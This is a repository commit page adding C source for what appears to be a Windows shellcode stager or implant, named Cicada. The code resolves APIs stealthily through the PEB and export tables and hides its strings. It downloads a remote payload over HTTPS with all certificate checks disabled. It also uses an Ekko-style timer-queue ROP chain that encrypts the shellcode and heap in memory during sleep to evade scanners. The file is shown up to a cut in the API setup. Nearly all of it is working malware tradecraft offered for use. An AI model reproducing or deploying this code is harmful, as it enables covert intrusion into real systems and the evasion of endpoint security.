mirror of
https://github.com/0xROOTPLS/Cicada
synced 2026-06-06 15:04:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,680 @@
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#define FUNC __attribute__((section(".func")))
|
||||
|
||||
/* NT constants */
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)
|
||||
#define STATUS_SUCCESS 0
|
||||
#define MEM_COMMIT 0x1000
|
||||
#define MEM_RESERVE 0x2000
|
||||
#define MEM_RELEASE 0x8000
|
||||
|
||||
/* Stack alignment - save RSP, align, call will be made, then restore */
|
||||
#define ALIGN_STACK_PRE(saved) \
|
||||
__asm__ __volatile__( \
|
||||
"mov %%rsp, %0;" \
|
||||
"and $~0xF, %%rsp;" \
|
||||
"sub $0x20, %%rsp;" \
|
||||
: "=r"(saved) \
|
||||
: \
|
||||
: \
|
||||
);
|
||||
|
||||
#define ALIGN_STACK_POST(saved) \
|
||||
__asm__ __volatile__( \
|
||||
"mov %0, %%rsp;" \
|
||||
: \
|
||||
: "r"(saved) \
|
||||
: \
|
||||
);
|
||||
|
||||
/* Simple no-op - let compiler handle alignment */
|
||||
#define ALIGN_STACK() do { } while(0)
|
||||
|
||||
/* WinAPI func typedefs */
|
||||
typedef HMODULE(WINAPI *fnLoadLibraryA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *fnGetProcAddress)(HMODULE, LPCSTR);
|
||||
typedef void(WINAPI *fnSleep)(DWORD);
|
||||
typedef BOOL(WINAPI *fnCloseHandle)(HANDLE);
|
||||
typedef DWORD(WINAPI *fnWaitForSingleObject)(HANDLE, DWORD);
|
||||
typedef BOOL(WINAPI *fnVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef LPVOID(WINAPI *fnVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL(WINAPI *fnVirtualFree)(LPVOID, SIZE_T, DWORD);
|
||||
|
||||
/* sleep obf typedefs */
|
||||
typedef HANDLE(WINAPI *fnCreateEventW)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR);
|
||||
typedef BOOL(WINAPI *fnSetEvent)(HANDLE);
|
||||
typedef HANDLE(WINAPI *fnCreateTimerQueue)(void);
|
||||
typedef BOOL(WINAPI *fnCreateTimerQueueTimer)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
|
||||
typedef BOOL(WINAPI *fnDeleteTimerQueue)(HANDLE);
|
||||
typedef void(WINAPI *fnRtlCaptureContext)(PCONTEXT);
|
||||
typedef NTSTATUS(NTAPI *fnNtContinue)(PCONTEXT, BOOLEAN);
|
||||
|
||||
/* USTRING for SystemFunction032 (RC4) - uses DWORD */
|
||||
typedef struct _USTRING {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PVOID Buffer;
|
||||
} USTRING, *PUSTRING;
|
||||
|
||||
typedef NTSTATUS(WINAPI *fnSystemFunction032)(PUSTRING Data, PUSTRING Key);
|
||||
|
||||
/* WinHTTP function typedefs */
|
||||
typedef HINTERNET(WINAPI *fnWinHttpOpen)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
|
||||
typedef HINTERNET(WINAPI *fnWinHttpConnect)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
|
||||
typedef HINTERNET(WINAPI *fnWinHttpOpenRequest)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD);
|
||||
typedef BOOL(WINAPI *fnWinHttpSendRequest)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
|
||||
typedef BOOL(WINAPI *fnWinHttpReceiveResponse)(HINTERNET, LPVOID);
|
||||
typedef BOOL(WINAPI *fnWinHttpSetOption)(HINTERNET, DWORD, LPVOID, DWORD);
|
||||
typedef BOOL(WINAPI *fnWinHttpCloseHandle)(HINTERNET);
|
||||
typedef BOOL(WINAPI *fnWinHttpReadData)(HINTERNET, LPVOID, DWORD, LPDWORD);
|
||||
typedef BOOL(WINAPI *fnWinHttpQueryDataAvailable)(HINTERNET, LPDWORD);
|
||||
|
||||
/* Global function pointers (stored on stack in main) */
|
||||
typedef struct {
|
||||
fnLoadLibraryA LoadLibraryA;
|
||||
fnGetProcAddress GetProcAddress;
|
||||
fnSleep Sleep;
|
||||
fnCloseHandle CloseHandle;
|
||||
fnWaitForSingleObject WaitForSingleObject;
|
||||
fnVirtualProtect VirtualProtect;
|
||||
fnVirtualAlloc VirtualAlloc;
|
||||
fnVirtualFree VirtualFree;
|
||||
/* sleep obfuscation */
|
||||
fnCreateEventW CreateEventW;
|
||||
fnSetEvent SetEvent;
|
||||
fnCreateTimerQueue CreateTimerQueue;
|
||||
fnCreateTimerQueueTimer CreateTimerQueueTimer;
|
||||
fnDeleteTimerQueue DeleteTimerQueue;
|
||||
fnRtlCaptureContext RtlCaptureContext;
|
||||
fnNtContinue NtContinue;
|
||||
fnSystemFunction032 SystemFunction032;
|
||||
/* WinHTTP */
|
||||
fnWinHttpOpen WinHttpOpen;
|
||||
fnWinHttpConnect WinHttpConnect;
|
||||
fnWinHttpOpenRequest WinHttpOpenRequest;
|
||||
fnWinHttpSendRequest WinHttpSendRequest;
|
||||
fnWinHttpReceiveResponse WinHttpReceiveResponse;
|
||||
fnWinHttpSetOption WinHttpSetOption;
|
||||
fnWinHttpCloseHandle WinHttpCloseHandle;
|
||||
fnWinHttpReadData WinHttpReadData;
|
||||
fnWinHttpQueryDataAvailable WinHttpQueryDataAvailable;
|
||||
} ApiFunctions;
|
||||
|
||||
/* strcmp implementation */
|
||||
FUNC int my_strcmp(const char *s1, const char *s2) {
|
||||
while (*s1 && (*s1 == *s2)) { s1++; s2++; }
|
||||
return *(unsigned char *)s1 - *(unsigned char *)s2;
|
||||
}
|
||||
|
||||
/* memset implementation */
|
||||
FUNC void my_memset(void *dest, int c, int n) {
|
||||
char *d = (char *)dest;
|
||||
while (n--) *d++ = (char)c;
|
||||
}
|
||||
|
||||
/* memcpy implementation */
|
||||
FUNC void my_memcpy(void *dest, const void *src, int n) {
|
||||
char *d = (char *)dest;
|
||||
const char *s = (const char *)src;
|
||||
while (n--) *d++ = *s++;
|
||||
}
|
||||
|
||||
/* wcscmp implementation */
|
||||
FUNC int my_wcscmp(const wchar_t *s1, const wchar_t *s2) {
|
||||
while (*s1 && (*s1 == *s2)) { s1++; s2++; }
|
||||
return *s1 - *s2;
|
||||
}
|
||||
|
||||
/* Get pointer to PEB */
|
||||
FUNC PPEB GetPEB(void) {
|
||||
uint64_t value = 0;
|
||||
__asm__ volatile("movq %%gs:%1, %0" : "=r"(value) : "m"(*(uint64_t *)0x60) :);
|
||||
return (PPEB)value;
|
||||
}
|
||||
|
||||
/* LDR_DATA_TABLE_ENTRY structure */
|
||||
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
/* Find DLL by name in PEB Ldr */
|
||||
FUNC PMY_LDR_DATA_TABLE_ENTRY GetDllLdr(PPEB_LDR_DATA ldr, const wchar_t *dll_name) {
|
||||
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY entry = head->Flink;
|
||||
while (entry != head) {
|
||||
PMY_LDR_DATA_TABLE_ENTRY data = (PMY_LDR_DATA_TABLE_ENTRY)((char *)entry - sizeof(LIST_ENTRY));
|
||||
if (data->BaseDllName.Buffer != NULL) {
|
||||
if (my_wcscmp(data->BaseDllName.Buffer, dll_name) == 0) {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
entry = entry->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Get function from export table by name */
|
||||
FUNC PVOID GetProcByName(PVOID module, const char *func_name) {
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module;
|
||||
PVOID pe_hdrs = (PVOID)((char *)module + dos->e_lfanew);
|
||||
DWORD eat_rva = *(PDWORD)((char *)pe_hdrs + 0x88);
|
||||
PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)((char *)module + eat_rva);
|
||||
PDWORD name_rva = (PDWORD)((char *)module + eat->AddressOfNames);
|
||||
PWORD ordinals = (PWORD)((char *)module + eat->AddressOfNameOrdinals);
|
||||
PDWORD func_rvas = (PDWORD)((char *)module + eat->AddressOfFunctions);
|
||||
for (DWORD i = 0; i < eat->NumberOfNames; i++) {
|
||||
char *name = (char *)((char *)module + name_rva[i]);
|
||||
if (my_strcmp(name, func_name) == 0) {
|
||||
WORD ordinal = ordinals[i];
|
||||
return (PVOID)((char *)module + func_rvas[ordinal]);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Fetch stage via HTTP GET - returns raw shellcode bytes
|
||||
* Returns: bytes read on success, -1 on failure
|
||||
* Caller must VirtualFree the returned buffer
|
||||
*/
|
||||
FUNC int http_get_stage(ApiFunctions *api, HINTERNET hConnect, PVOID *out_buffer, DWORD *out_size) {
|
||||
wchar_t method[] = {L'G', L'E', L'T', L'\0'};
|
||||
wchar_t path[] = {L'/', L's', L't', L'a', L'g', L'e', L'\0'}; /* /stage */
|
||||
|
||||
ALIGN_STACK();
|
||||
HINTERNET hRequest = api->WinHttpOpenRequest(hConnect, method, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
|
||||
if (!hRequest) return -1;
|
||||
|
||||
/* Ignore certificate errors */
|
||||
DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
ALIGN_STACK();
|
||||
api->WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags));
|
||||
|
||||
/* Send GET request */
|
||||
ALIGN_STACK();
|
||||
BOOL sent = api->WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
|
||||
if (!sent) {
|
||||
api->WinHttpCloseHandle(hRequest);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Receive response */
|
||||
ALIGN_STACK();
|
||||
if (!api->WinHttpReceiveResponse(hRequest, NULL)) {
|
||||
api->WinHttpCloseHandle(hRequest);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Read stage in chunks - first pass to determine total size */
|
||||
#define CHUNK_SIZE 4096
|
||||
DWORD total_size = 0;
|
||||
DWORD bytes_available = 0;
|
||||
|
||||
/* Allocate initial buffer */
|
||||
DWORD buffer_size = CHUNK_SIZE * 4; /* Start with 16KB */
|
||||
PVOID buffer = api->VirtualAlloc(NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!buffer) {
|
||||
api->WinHttpCloseHandle(hRequest);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Read all data */
|
||||
while (1) {
|
||||
ALIGN_STACK();
|
||||
if (!api->WinHttpQueryDataAvailable(hRequest, &bytes_available)) break;
|
||||
if (bytes_available == 0) break;
|
||||
|
||||
/* Grow buffer if needed */
|
||||
if (total_size + bytes_available > buffer_size) {
|
||||
DWORD new_size = buffer_size * 2;
|
||||
PVOID new_buffer = api->VirtualAlloc(NULL, new_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!new_buffer) {
|
||||
api->VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
api->WinHttpCloseHandle(hRequest);
|
||||
return -1;
|
||||
}
|
||||
my_memcpy(new_buffer, buffer, total_size);
|
||||
api->VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = new_buffer;
|
||||
buffer_size = new_size;
|
||||
}
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
ALIGN_STACK();
|
||||
api->WinHttpReadData(hRequest, (char *)buffer + total_size, bytes_available, &bytes_read);
|
||||
total_size += bytes_read;
|
||||
}
|
||||
|
||||
api->WinHttpCloseHandle(hRequest);
|
||||
|
||||
if (total_size == 0) {
|
||||
api->VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*out_buffer = buffer;
|
||||
*out_size = total_size;
|
||||
return (int)total_size;
|
||||
}
|
||||
|
||||
/*
|
||||
* Ekko-esque sleep obfuscation
|
||||
* Timer chain:
|
||||
* 1. VirtualProtect(RW) - make shellcode non-executable
|
||||
* 2. SystemFunction032 - encrypt shellcode with RC4
|
||||
* 3. WaitForSingleObject - sleep (on unsignalable handle)
|
||||
* 4. SystemFunction032 - decrypt shellcode (RC4 is symmetric)
|
||||
* 5. VirtualProtect(RX) - restore execute permission
|
||||
* 6. SetEvent - wake main thread
|
||||
*/
|
||||
#define WT_EXECUTEINTIMERTHREAD 0x00000020
|
||||
|
||||
FUNC void protected_sleep(ApiFunctions *api, DWORD sleep_ms, PVOID shellcode_base, DWORD shellcode_size,
|
||||
PVOID heap_base, DWORD heap_size) {
|
||||
HANDLE hEvent = api->CreateEventW(NULL, FALSE, FALSE, NULL);
|
||||
if (!hEvent) __asm__("int3"); /* Crash - no fallback */
|
||||
|
||||
HANDLE hTimerQueue = api->CreateTimerQueue();
|
||||
if (!hTimerQueue) __asm__("int3"); /* Crash - no fallback */
|
||||
|
||||
DWORD OldProtect = 0;
|
||||
|
||||
/* RC4 key for encryption, you can change this to whatever */
|
||||
char KeyBuf[16] = {0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
|
||||
0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55};
|
||||
USTRING Key;
|
||||
Key.Buffer = KeyBuf;
|
||||
Key.Length = 16;
|
||||
Key.MaximumLength = 16;
|
||||
|
||||
/* Image data to encrypt (shellcode) */
|
||||
USTRING Img;
|
||||
Img.Buffer = shellcode_base;
|
||||
Img.Length = shellcode_size;
|
||||
Img.MaximumLength = shellcode_size;
|
||||
|
||||
/* Heap data to encrypt */
|
||||
USTRING Heap;
|
||||
Heap.Buffer = heap_base;
|
||||
Heap.Length = heap_size;
|
||||
Heap.MaximumLength = heap_size;
|
||||
|
||||
/* Capture context from timer thread */
|
||||
CONTEXT CtxThread;
|
||||
my_memset(&CtxThread, 0, sizeof(CONTEXT));
|
||||
|
||||
HANDLE hTimer = NULL;
|
||||
api->CreateTimerQueueTimer(
|
||||
&hTimer,
|
||||
hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->RtlCaptureContext,
|
||||
&CtxThread,
|
||||
0, /* Fire immediately */
|
||||
0, /* No repeat */
|
||||
WT_EXECUTEINTIMERTHREAD
|
||||
);
|
||||
|
||||
/* Wait for RtlCaptureContext to run */
|
||||
api->Sleep(100);
|
||||
|
||||
/* Verify we got a valid context (Rip should be non-zero) */
|
||||
if (CtxThread.Rip == 0) __asm__("int3"); /* Crash */
|
||||
|
||||
/* 1. VirtualProtect(shellcode_base, size, PAGE_READWRITE, &OldProtect) */
|
||||
CONTEXT RopProtRW;
|
||||
my_memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
|
||||
RopProtRW.Rsp -= 8;
|
||||
RopProtRW.Rip = (DWORD64)api->VirtualProtect;
|
||||
RopProtRW.Rcx = (DWORD64)shellcode_base;
|
||||
RopProtRW.Rdx = (DWORD64)shellcode_size;
|
||||
RopProtRW.R8 = PAGE_READWRITE;
|
||||
RopProtRW.R9 = (DWORD64)&OldProtect;
|
||||
|
||||
/* 2. SystemFunction032(&Img, &Key) - encrypt shellcode */
|
||||
CONTEXT RopMemEnc;
|
||||
my_memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
|
||||
RopMemEnc.Rsp -= 8;
|
||||
RopMemEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopMemEnc.Rcx = (DWORD64)&Img;
|
||||
RopMemEnc.Rdx = (DWORD64)&Key;
|
||||
|
||||
/* 3. SystemFunction032(&Heap, &Key) - encrypt heap */
|
||||
CONTEXT RopHeapEnc;
|
||||
my_memcpy(&RopHeapEnc, &CtxThread, sizeof(CONTEXT));
|
||||
RopHeapEnc.Rsp -= 8;
|
||||
RopHeapEnc.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopHeapEnc.Rcx = (DWORD64)&Heap;
|
||||
RopHeapEnc.Rdx = (DWORD64)&Key;
|
||||
|
||||
/* 4. WaitForSingleObject(NtCurrentProcess(), sleep_ms) */
|
||||
CONTEXT RopDelay;
|
||||
my_memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
|
||||
RopDelay.Rsp -= 8;
|
||||
RopDelay.Rip = (DWORD64)api->WaitForSingleObject;
|
||||
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
|
||||
RopDelay.Rdx = (DWORD64)sleep_ms;
|
||||
|
||||
/* 5. SystemFunction032(&Heap, &Key) - decrypt heap */
|
||||
CONTEXT RopHeapDec;
|
||||
my_memcpy(&RopHeapDec, &CtxThread, sizeof(CONTEXT));
|
||||
RopHeapDec.Rsp -= 8;
|
||||
RopHeapDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopHeapDec.Rcx = (DWORD64)&Heap;
|
||||
RopHeapDec.Rdx = (DWORD64)&Key;
|
||||
|
||||
/* 6. SystemFunction032(&Img, &Key) - decrypt shellcode (RC4 symmetric) */
|
||||
CONTEXT RopMemDec;
|
||||
my_memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
|
||||
RopMemDec.Rsp -= 8;
|
||||
RopMemDec.Rip = (DWORD64)api->SystemFunction032;
|
||||
RopMemDec.Rcx = (DWORD64)&Img;
|
||||
RopMemDec.Rdx = (DWORD64)&Key;
|
||||
|
||||
/* 7. VirtualProtect(shellcode_base, size, PAGE_EXECUTE_READWRITE, &OldProtect) */
|
||||
CONTEXT RopProtRX;
|
||||
my_memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
|
||||
RopProtRX.Rsp -= 8;
|
||||
RopProtRX.Rip = (DWORD64)api->VirtualProtect;
|
||||
RopProtRX.Rcx = (DWORD64)shellcode_base;
|
||||
RopProtRX.Rdx = (DWORD64)shellcode_size;
|
||||
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
|
||||
RopProtRX.R9 = (DWORD64)&OldProtect;
|
||||
|
||||
/* 8. SetEvent(hEvent) */
|
||||
CONTEXT RopSetEvt;
|
||||
my_memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
|
||||
RopSetEvt.Rsp -= 8;
|
||||
RopSetEvt.Rip = (DWORD64)api->SetEvent;
|
||||
RopSetEvt.Rcx = (DWORD64)hEvent;
|
||||
|
||||
/* Queue timers - full 8-step chain with shellcode + heap encryption */
|
||||
/* All timers MUST succeed - no fallback allowed */
|
||||
BOOL ok;
|
||||
|
||||
/* 1. VirtualProtect(RW) - make shellcode writable */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRW,
|
||||
100, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 2. SystemFunction032 - encrypt shellcode */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemEnc,
|
||||
200, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 3. SystemFunction032 - encrypt heap */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapEnc,
|
||||
300, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 4. WaitForSingleObject - sleep delay */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopDelay,
|
||||
400, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 5. SystemFunction032 - decrypt heap */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopHeapDec,
|
||||
500 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 6. SystemFunction032 - decrypt shellcode */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopMemDec,
|
||||
600 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 7. VirtualProtect(RX) - restore execute permission */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopProtRX,
|
||||
700 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* 8. SetEvent - wake main thread */
|
||||
ok = api->CreateTimerQueueTimer(&hTimer, hTimerQueue,
|
||||
(WAITORTIMERCALLBACK)api->NtContinue, &RopSetEvt,
|
||||
800 + sleep_ms, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
if (!ok) __asm__("int3");
|
||||
|
||||
/* Wait for the chain to complete */
|
||||
api->WaitForSingleObject(hEvent, INFINITE);
|
||||
|
||||
/* Clean up */
|
||||
api->DeleteTimerQueue(hTimerQueue);
|
||||
api->CloseHandle(hEvent);
|
||||
}
|
||||
|
||||
/* Initial sleep delay in ms (5 min) */
|
||||
#define INITIAL_SLEEP_MS 300000
|
||||
|
||||
/* Entry point - loader passes shellcode base and size */
|
||||
int start(PVOID shellcode_base, DWORD shellcode_size) {
|
||||
ApiFunctions api;
|
||||
PPEB peb = GetPEB();
|
||||
|
||||
/* ========== STAGE 1: API RESOLUTION ========== */
|
||||
|
||||
/* Resolve kernel32 functions */
|
||||
char s_LoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
|
||||
char s_GetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
|
||||
char s_Sleep[] = {'S','l','e','e','p','\0'};
|
||||
char s_CloseHandle[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
|
||||
char s_WaitForSingleObject[] = {'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0'};
|
||||
char s_VirtualProtect[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t','\0'};
|
||||
char s_VirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\0'};
|
||||
char s_VirtualFree[] = {'V','i','r','t','u','a','l','F','r','e','e','\0'};
|
||||
/* Ekko - kernel32 */
|
||||
char s_CreateEventW[] = {'C','r','e','a','t','e','E','v','e','n','t','W','\0'};
|
||||
char s_SetEvent[] = {'S','e','t','E','v','e','n','t','\0'};
|
||||
char s_CreateTimerQueue[] = {'C','r','e','a','t','e','T','i','m','e','r','Q','u','e','u','e','\0'};
|
||||
char s_CreateTimerQueueTimer[] = {'C','r','e','a','t','e','T','i','m','e','r','Q','u','e','u','e','T','i','m','e','r','\0'};
|
||||
char s_DeleteTimerQueue[] = {'D','e','l','e','t','e','T','i','m','e','r','Q','u','e','u','e','\0'};
|
||||
/* Ekko - ntdll */
|
||||
char s_RtlCaptureContext[] = {'R','t','l','C','a','p','t','u','r','e','C','o','n','t','e','x','t','\0'};
|
||||
char s_NtContinue[] = {'N','t','C','o','n','t','i','n','u','e','\0'};
|
||||
|
||||
/* Get kernel32.dll */
|
||||
wchar_t kernel32_name[] = {L'K', L'E', L'R', L'N', L'E', L'L', L'3', L'2', L'.', L'D', L'L', L'L', L'\0'};
|
||||
PMY_LDR_DATA_TABLE_ENTRY kernel32_ldr = GetDllLdr(peb->Ldr, kernel32_name);
|
||||
PVOID kernel32 = kernel32_ldr->DllBase;
|
||||
|
||||
api.LoadLibraryA = (fnLoadLibraryA)GetProcByName(kernel32, s_LoadLibraryA);
|
||||
api.GetProcAddress = (fnGetProcAddress)GetProcByName(kernel32, s_GetProcAddress);
|
||||
api.Sleep = (fnSleep)GetProcByName(kernel32, s_Sleep);
|
||||
api.CloseHandle = (fnCloseHandle)GetProcByName(kernel32, s_CloseHandle);
|
||||
api.WaitForSingleObject = (fnWaitForSingleObject)GetProcByName(kernel32, s_WaitForSingleObject);
|
||||
api.VirtualProtect = (fnVirtualProtect)GetProcByName(kernel32, s_VirtualProtect);
|
||||
api.VirtualAlloc = (fnVirtualAlloc)GetProcByName(kernel32, s_VirtualAlloc);
|
||||
api.VirtualFree = (fnVirtualFree)GetProcByName(kernel32, s_VirtualFree);
|
||||
/* Ekko - kernel32 */
|
||||
api.CreateEventW = (fnCreateEventW)GetProcByName(kernel32, s_CreateEventW);
|
||||
api.SetEvent = (fnSetEvent)GetProcByName(kernel32, s_SetEvent);
|
||||
api.CreateTimerQueue = (fnCreateTimerQueue)GetProcByName(kernel32, s_CreateTimerQueue);
|
||||
api.CreateTimerQueueTimer = (fnCreateTimerQueueTimer)GetProcByName(kernel32, s_CreateTimerQueueTimer);
|
||||
api.DeleteTimerQueue = (fnDeleteTimerQueue)GetProcByName(kernel32, s_DeleteTimerQueue);
|
||||
|
||||
/* Ekko - ntdll */
|
||||
char s_ntdll[] = {'n','t','d','l','l','.','d','l','l','\0'};
|
||||
HMODULE hNtdll = api.LoadLibraryA(s_ntdll);
|
||||
if (!hNtdll) return 1;
|
||||
|
||||
api.RtlCaptureContext = (fnRtlCaptureContext)GetProcByName(hNtdll, s_RtlCaptureContext);
|
||||
api.NtContinue = (fnNtContinue)GetProcByName(hNtdll, s_NtContinue);
|
||||
|
||||
/* Load advapi32.dll for SystemFunction032 (RC4) */
|
||||
char s_advapi32[] = {'a','d','v','a','p','i','3','2','.','d','l','l','\0'};
|
||||
char s_SystemFunction032[] = {'S','y','s','t','e','m','F','u','n','c','t','i','o','n','0','3','2','\0'};
|
||||
ALIGN_STACK();
|
||||
HMODULE hAdvapi32 = api.LoadLibraryA(s_advapi32);
|
||||
/* SystemFunction032 is FORWARDED to cryptsp.dll - must use GetProcAddress which handles forwarding */
|
||||
api.SystemFunction032 = (fnSystemFunction032)api.GetProcAddress(hAdvapi32, s_SystemFunction032);
|
||||
|
||||
/* Load winhttp.dll */
|
||||
char s_winhttp[] = {'w','i','n','h','t','t','p','.','d','l','l','\0'};
|
||||
ALIGN_STACK();
|
||||
HMODULE hWinHttp = api.LoadLibraryA(s_winhttp);
|
||||
if (!hWinHttp) return 1;
|
||||
|
||||
char s_WinHttpOpen[] = {'W','i','n','H','t','t','p','O','p','e','n','\0'};
|
||||
char s_WinHttpConnect[] = {'W','i','n','H','t','t','p','C','o','n','n','e','c','t','\0'};
|
||||
char s_WinHttpOpenRequest[] = {'W','i','n','H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','\0'};
|
||||
char s_WinHttpSendRequest[] = {'W','i','n','H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','\0'};
|
||||
char s_WinHttpReceiveResponse[] = {'W','i','n','H','t','t','p','R','e','c','e','i','v','e','R','e','s','p','o','n','s','e','\0'};
|
||||
char s_WinHttpSetOption[] = {'W','i','n','H','t','t','p','S','e','t','O','p','t','i','o','n','\0'};
|
||||
char s_WinHttpCloseHandle[] = {'W','i','n','H','t','t','p','C','l','o','s','e','H','a','n','d','l','e','\0'};
|
||||
char s_WinHttpReadData[] = {'W','i','n','H','t','t','p','R','e','a','d','D','a','t','a','\0'};
|
||||
char s_WinHttpQueryDataAvailable[] = {'W','i','n','H','t','t','p','Q','u','e','r','y','D','a','t','a','A','v','a','i','l','a','b','l','e','\0'};
|
||||
|
||||
api.WinHttpOpen = (fnWinHttpOpen)GetProcByName(hWinHttp, s_WinHttpOpen);
|
||||
api.WinHttpConnect = (fnWinHttpConnect)GetProcByName(hWinHttp, s_WinHttpConnect);
|
||||
api.WinHttpOpenRequest = (fnWinHttpOpenRequest)GetProcByName(hWinHttp, s_WinHttpOpenRequest);
|
||||
api.WinHttpSendRequest = (fnWinHttpSendRequest)GetProcByName(hWinHttp, s_WinHttpSendRequest);
|
||||
api.WinHttpReceiveResponse = (fnWinHttpReceiveResponse)GetProcByName(hWinHttp, s_WinHttpReceiveResponse);
|
||||
api.WinHttpSetOption = (fnWinHttpSetOption)GetProcByName(hWinHttp, s_WinHttpSetOption);
|
||||
api.WinHttpCloseHandle = (fnWinHttpCloseHandle)GetProcByName(hWinHttp, s_WinHttpCloseHandle);
|
||||
api.WinHttpReadData = (fnWinHttpReadData)GetProcByName(hWinHttp, s_WinHttpReadData);
|
||||
